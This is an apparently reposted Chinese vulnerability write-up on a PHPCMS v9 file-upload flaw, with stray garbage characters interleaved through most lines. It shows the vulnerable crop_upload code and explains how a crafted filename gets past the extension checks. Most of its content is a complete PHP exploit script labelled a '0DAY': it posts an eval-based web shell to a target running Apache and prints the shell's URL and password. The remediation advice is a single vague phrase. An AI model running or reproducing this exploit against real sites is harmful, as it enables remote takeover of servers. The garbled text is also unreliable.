漏洞类型: 文件上传导致任意代码执行
7 |( ^) X9 f$ b8 z' ^' Q. P* }1 D
简要描述:
7 n# k& V/ t; T3 S0 e
% ^2 v7 k: o1 [/ j/ }4 Qphpcms v9 getshell (apache)
3 L5 @' ^4 i$ r详细说明:" D, S7 w8 Q, m X u- z
" U# l+ T; R$ e/ [( u
漏洞文件:phpcms\modules\attachment\attachments.php! }5 T, E( W7 v' w! m4 q
8 t) n& d" x& U8 w9 D; }$ upublic function crop_upload() { (isset($GLOBALS["HTTP_RAW_POST_DATA"])) { $pic = $GLOBALS["HTTP_RAW_POST_DATA"]; if (isset($_GET['width']) && !empty($_GET['width'])) { $width = intval($_GET['width']); } if (isset($_GET['height']) && !empty($_GET['height'])) { $height = intval($_GET['height']); } if (isset($_GET['file']) && !empty($_GET['file'])) { $_GET['file'] = str_replace(';','',$_GET['file']);//过滤了分号 if(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();//is_image()检测是个关键 if (strpos($_GET['file'], pc_base::load_config('system', 'upload_url'))!==false) { $file = $_GET['file']; $basenamebasename = basename($file);//获取带有后缀的文件名 if (strpos($basename, 'thumb_')!==false) { $file_arr = explode('_', $basename); $basename = array_pop($file_arr); } $new_file = 'thumb_'.$width.'_'.$height.'_'.$basename; } else { pc_base::load_sys_class('attachment','',0); $module = trim($_GET['module']); $catid = intval($_GET['catid']); $siteid = $this->get_siteid(); $attachment = new attachment($module, $catid, $siteid); $uploadedfile['filename'] = basename($_GET['file']); $uploadedfile['fileext'] = fileext($_GET['file']); if (in_array($uploadedfile['fileext'], array('jpg', 'gif', 'jpeg', 'png', 'bmp'))) { $uploadedfile['isimage'] = 1; } $file_path = $this->upload_path.date('Y/md/'); pc_base::load_sys_func('dir'); dir_create($file_path); $new_file = date('Ymdhis').rand(100, 999).'.'.$uploadedfile['fileext']; $uploadedfile['filepath'] = date('Y/md/').$new_file; $aid = $attachment->add($uploadedfile); } $filepath = date('Y/md/'); file_put_contents($this->upload_path.$filepath.$new_file, $pic);//文件名可控、$pic可控 } else { return false; } echo pc_base::load_config('system', 'upload_url').$filepath.$new_file; exit; } }
m- x! i/ u: _) _0 z1 K后缀检测:phpcms\modules\attachment\functions\global.func.php
/ h; S# Y# F( E3 c) z/ ~ ~; h( _
; c3 d0 o* ?6 J+ ]6 x6 C# P- f
& \7 c) I: k4 [- o+ R3 Ufunction is_image($file) { $ext_arr = array('jpg','gif','png','bmp','jpeg','tiff'); $ext = fileext($file);关键地方 return in_array($ext,$ext_arr) ? $ext_arr :false; }
7 M' h; s3 I% x% g9 {
, U' U5 d) P1 h" B' r关键函数:8 n. {* q; t `* ^8 }
4 `' v a4 C5 y: v8 o& x& D1 d
2 c& y% s5 S* w C5 a+ _
2 n3 S( d( m/ R. f" }6 Kfunction fileext($filename) { return strtolower(trim(substr(strrchr($filename, '.'), 1, 10))); }
& [ |$ w6 B7 _ b
0 j/ R& _* H& F7 ~( T5 m$ E" e( i Fileext函数是对文件后缀名的提取。/ ^( K4 }! I3 J
根据此函数我们如果上传文件名为ddd.Php.jpg%20%20%20%20%20%20%20Php
( f! W1 b# U, z. O" k$ k经过此函数提取到的后缀还是jpg,因此正在is_image()函数中后缀检测被绕过了。0 K9 ~! i5 Y5 S0 N5 n
我们回到public function crop_upload() 函数中+ c; G a8 Z# ?& J) p v
if(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();7 Z+ P% {' X3 a0 f
在经过了is_image的判断之后又来了个.php的判断,在此程序员使用的是strpos函数
6 @7 u3 o" u9 c2 n: s这个函数是对大小写敏感的函数我们使用.Php就可以直接绕过了。
9 h& d/ E( j7 ]! Z9 u经过上边的两层的过滤我们的ddd.Php.jpg%20%20%20%20%20%20%20Php后缀依然有效。
$ n' R2 J9 k) X2 i" P最后$basename变量的值就为ddd.Php.jpg%20%20%20%20%20%20%20Php 然后使用file_put_contents函数写入到了指定目录。
3 Z& Y% X' T# p) o/ S, O看见ddd.Php.jpg%20%20%20%20%20%20%20Php这个后缀,大家应该明白了,它用在apache搭建的服务器上可以被解析。" A- a( U: v {! K2 A- _
漏洞证明:( z H4 Q7 `& o, E7 U8 m
" W1 ]9 |; v& l1 K8 v0 F& ]exp:
- G |& L' B2 }; T) j9 A' {4 w7 y+ B _1 E
<?php
* L$ E+ \# K5 F$ s, O' @% perror_reporting(E_ERROR);* @7 ?- J2 j( G2 o' J
set_time_limit(0);
) v0 ~7 n1 W, z. D9 [$ V$pass="ln";
- b- H: @8 z* \: p$ \print_r(' t8 N0 }+ T+ G- O9 j2 V
+---------------------------------------------------------------------------+
0 J6 S) x8 n/ y0 P0 bPHPCms V9 GETSHELL 0DAY $ x& |+ i% u# K& d& ]' g6 O- v
code by L.N./ K, N' u2 f# m5 r g
2 v% r) O; E. y0 r; x. Hapache 适用(利用的apache的解析漏洞) // 云安全 www.yunsec.net4 D; \8 ~8 _; e8 w
+---------------------------------------------------------------------------+
2 I* x9 h Z' T( d* |+ p$ v% L');
1 J1 F1 l0 C x' Lif ($argc < 2) {9 O# C" n* A7 ^7 G
print_r('
) C: `9 D. F# m5 ~# U# K3 ~- W+---------------------------------------------------------------------------+
0 T" f7 l$ E2 x2 mUsage: php '.$argv[0].' url path8 A5 e- b+ v; K8 z5 p" q$ H# _
3 |1 f- D I8 E
Example:
4 h+ Z( T; q; s5 b" G1.php '.$argv[0].' lanu.sinaapp.com6 Q9 n, O/ }& T0 ^% q1 I7 M
2.php '.$argv[0].' lanu.sinaapp.com /phpcms& Z( I/ ]5 D- O; G
+---------------------------------------------------------------------------+# @8 v; A \. ]5 n; L. L2 n; c
');/ U+ ?: c! I& m$ {
exit;
7 h# h3 H. o: T* Q/ Y}
/ Z. B" O# B5 |* `% J# C8 O7 b' F; Z) ]
$url = $argv[1];3 ?5 }% `) D" E$ {
$path = $argv[2];" t# t' ^% C- }7 x3 E3 n
$phpshell = '<?php @eval($_POST[\''.$pass.'\']);?>';0 S# t5 G# g( W! x& i# B* ^2 b
$file = '1.thumb_.Php.JPG%20%20%20%20%20%20%20Php';0 C6 p5 ~2 [' c% p
if($ret=Create_dir($url,$path))
9 ~) |! Z1 z# X: o2 ^{) X7 a9 w, ^: `" p2 X
//echo $ret;9 X, f, |8 a% U3 l$ n( Q, f
$pattern = "|Server:[^,]+?|U";, U1 y4 z- H; H' v6 |' U( V/ }
preg_match_all($pattern, $ret, $matches);) V7 c: K0 |0 G6 Y! J- y5 M
if($matches[0][0]); s% @3 E8 J3 c9 C
{& K/ U' V8 X( h+ i( T
if(strpos($matches[0][0],'Apache') == false)! @( b6 e5 ?0 Y4 V4 l
{
0 N0 E' b' `5 W# L8 g. fecho "\n亲!此网站不是apache的网站。\n";exit;: w1 D! C, y8 M" i T% K1 h
}
. M3 ~1 f, o3 p3 Q" u}
! x, B8 ~5 K4 M$ret = GetShell($url,$phpshell,$path,$file);
8 U1 U( ?; b$ F9 ~! d$pattern = "|http:\/\/[^,]+?\.,?|U";+ C# ]8 o, Y5 Q: @5 A* }% W
preg_match_all($pattern, $ret, $matches);
7 @, m" H Y2 |4 N k) `4 ^if($matches[0][0])
* B' j: H" [! p! ?{( b) r+ L% w6 ^; G
echo "\n".'密码为: '.$pass."\n";
2 S* n! p+ i1 H" g9 e3 I& _0 _echo "\r\nurl地址: ".$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;
5 P8 u) Q- S, m* O' [}( k, W+ X* b8 u% U4 s- V0 d. Q+ E* [: G
else! R' _* f. g+ o8 K
{
: s2 Y* m" D5 c) S- w- n$pattern = "|\/uploadfile\/[^,]+?\.,?|U";
! x% N& ? E9 N, W Bpreg_match_all($pattern, $ret, $matches);
$ e/ J, K( E* F, _' l- b% W- i8 @if($matches[0][0]) j7 r* E& ]! }, P* d/ w
{
/ X3 T Q- D9 M) V* }echo "\n".'密码为: '.$pass."\n";
/ o3 \( S' \* Q% R$ j" zecho "\r\nurl地址:".'http://'.$url.$path.$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;; M0 x* E7 W2 [ X9 Q9 S
} v U9 d2 ?1 t( @& Y6 E2 A
else. J9 I; C$ T: M x8 y
{# `& K8 d( y9 f/ l! P% R
echo "\r\n没得到!\n";exit;0 K* B# w6 S( ]3 i( d
}
0 w% U, o1 t/ G& A" w}
5 M9 }- |- e/ X9 n P) t}1 R! M. M$ E P
4 f3 [9 D# a' c. K9 w
function GetShell($url,$shell,$path,$js)3 B) z; s# o7 t1 y
{
1 C7 C/ E1 y9 _7 b2 n% j- p" a$content =$shell;
2 H& a) N& B; C$ ~$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://".$url.$path."/uploadfile/".$js." HTTP/1.1\r\n";
0 v- g, {4 o; \( L$data .= "Host: ".$url."\r\n";
+ P. t3 M9 u2 C* B$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
, ^4 M/ ?9 C/ G4 z( d4 N: L$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
" Q3 y9 R0 w& E! G: S, l$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
7 g+ c' G4 `% ^9 y$data .= "Connection: close\r\n";
" e0 U: W0 n/ r; j$data .= "Content-Length: ".strlen($content)."\r\n\r\n";% Z# f. \( c+ H7 r9 o. O
$data .= $content."\r\n";
/ I' z/ M" x; d. A: n$ock=fsockopen($url,80);; p* @& D9 } \) [0 c' Y' s. R
if (!$ock)
4 A: j0 @6 w& I2 J3 ?* _+ ?{2 D- b5 K$ Y4 f' U+ v- s$ C
echo "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;
) ~& i" a5 S! ~, H}
% ]! {+ a* S$ gelse
1 t! M+ a; c( c) z8 R" j/ V: w{
( @- y( I* D, e( ^" zfwrite($ock,$data);! \6 x, p4 i4 i
$resp = '';7 g* ]4 l0 ~3 z. g! O
while (!feof($ock))
1 f4 u& b3 M$ a( V{
+ i9 w4 M' O) r' g$ \$resp.=fread($ock, 1024);& z( V) _, d6 V$ E Q
}* ~* z3 N4 A6 d7 K4 s
return $resp;
f* ]- T+ u$ s2 x# y: I}: b: d/ B/ L2 [* g' }6 y( f: ]8 w
}* {5 b! p6 M* F5 M/ F3 i
1 p1 w; R! U |+ O" [/ V! O
function Create_dir($url,$path='')( Y; N, i) V) B- F0 M4 r0 ^# i( ]
{7 |3 }/ D9 y# G% [: K5 t
$content ='I love you';. g$ `4 G" t, |& ~! Y+ b8 g
$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://lanu.sinaapp.com/1.jpg HTTP/1.1\r\n";' f# X! U" `6 W5 C* \ ]- O1 k
$data .= "Host: ".$url."\r\n";
" n0 s: C! |) }1 ?+ r8 c. m$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";: p; Q4 i3 O' K5 B/ K
$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";! E! e9 x& Z1 z. R; w5 n
$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";( ^& A1 M! V. K: u2 _
$data .= "Connection: close\r\n";
5 X# n& d: r( G* @, X$data .= "Content-Length: ".strlen($content)."\r\n\r\n";
, K& t3 S# m/ C( s2 k+ x$data .= $content."\r\n";
6 L+ X3 N8 Q- t! i8 j' c$ock=fsockopen($url,80);+ A' R# C0 |1 i G
if (!$ock)
1 I. _( @! P; V& J/ n% R{, {+ @' D- p5 c# t$ u
echo "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;
k, r$ b1 c6 R$ C. p7 u. W5 |1 y8 W9 m. f6 g}
* ?+ J0 X h0 X* b6 r! Afwrite($ock,$data);
% `) L7 l4 S! W! K7 u. P$resp = '';0 L K- ~9 _& t4 z& Q
while (!feof($ock))) U0 S, v: {5 J8 W( i9 Y8 X2 A$ @
{4 P7 H) e4 x s( P. m& B
$resp.=fread($ock, 1024);* P- N$ k% Y2 y* J
}
9 A9 c' c$ ^- I" W' C# Y' Hreturn $resp;
; |9 m9 \7 {( n. n) V. ?0 S}, @" q6 P; y0 t2 p" u
?> - | J3 U0 M1 c6 d8 }( U6 F
0 H6 X+ A+ S4 u# g) G
修复方案:2 g) F( X0 k, Z
! @ y: [4 c$ O) x+ @6 \+ M/ }
过滤过滤再过滤( e, B. w5 `9 n
! e) v1 \+ i4 `8 m |